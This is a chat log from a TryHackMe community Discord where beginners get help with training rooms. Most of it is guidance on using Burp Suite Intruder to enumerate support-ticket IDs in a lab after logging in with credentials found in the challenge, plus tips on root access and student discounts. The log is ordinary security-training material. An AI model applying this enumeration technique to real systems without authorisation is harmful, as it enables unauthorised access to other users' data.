Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[zealous fossil]

sorry for dumb questions, just started tryhackme 🙃

[marsh veldt]

this is not correct and i dont know what should be 🙂

[zealous fossil]

got any tip? just wanted to know if this is part of the challenge or something is broken which maybe one of you guys experienced..

[marsh veldt]

try
sudo su

and then the command again

[zealous fossil]

think i tried that, lemme do it again

[soft snow]

That's not the correct url at all, it should be /support/ticket/WHATEVER_NUMBER

Therefore you need to be logged in to the account and capture a request to any ticket

[marsh veldt]

redcidedeep: how about
su root
and then running the command?

[soft snow]

There is more then just "access.log" in that directory, where you have permissions to access it 🙂

[zealous fossil]

got the same. i tried this earlier too

[zealous fossil]

tried this too earlier problem is root password was not provided in the challenge so dont know the password for root

[marsh veldt]

Fontaene: i did that, but now i have to configure the Positions and i dont know what to write in there. In that screenshot above, i added the $ (after i amended the url to ..support/tickets/

[zealous fossil]

oohhh.. hmm, thanks lemme find that out 🙃

[somber current]

Gave +1 Rep to @soft snow

[soft snow]

Okay, if you did that, then provide me a screenshot to the correct url pls 🙂 But the position has to be set at the ticket number, in order for burp to test all the ticket numbers from 1 to 100

[soft snow]

But that screen is the payload tab and not the positions ?

[marsh veldt]

here, it's doing something 🙂

[soft snow]

Again, that's not the correct url you have captured, neither you are logged in. Start over again while being logged in and capture a request to one of the tickets available in the account you are logged in with.

[zealous fossil]

hahaha. got it @soft snow. now im laughing at myself 😂

thanks very much!

@marsh veldt thanks too 🙃

[somber current]

Gave +1 Rep to @past onyx

[soft snow]

You are welcome 🙂

[marsh veldt]

Im a bit lost here 🙂 found out one user's login and password, logged in to the ticketing system with his credentials

proxy on

sent to intruder and clicked on Start Attack

however i didn't define the position as i dont know how

any hint please?

[soft snow]

Okay, so that request looks good now 🙂 So as you want to fuzz the ticket numbers to see which of them exist, you have to set the position in line 1. So first clear all the wrong positions with the button on the right hand side, then highlight the ticket number (in your case 6) and press add.

Also, do not manually add any lines to that request, like you did in your 2nd image

[marsh veldt]

Got it, thanks very much, it works now 🙂

[dusky crag]

Uhh, how necessary are the paid rooms in the pre-security path, and is there a student discount

[soft snow]

You can get sub cheaper as student, yes.

!docs student

[rain berry]

TryHackMe

Redeem your student discount!

https://help.tryhackme.com/billing/student-discount

From TryHackMe with ❤!

[dusky crag]

Thanks

[somber current]

Gave +1 Rep to @soft snow

[vapid peak]

I'm stuck in this room https://tryhackme.com/room/networkservices, task 3, i know the answer is profiles...but why?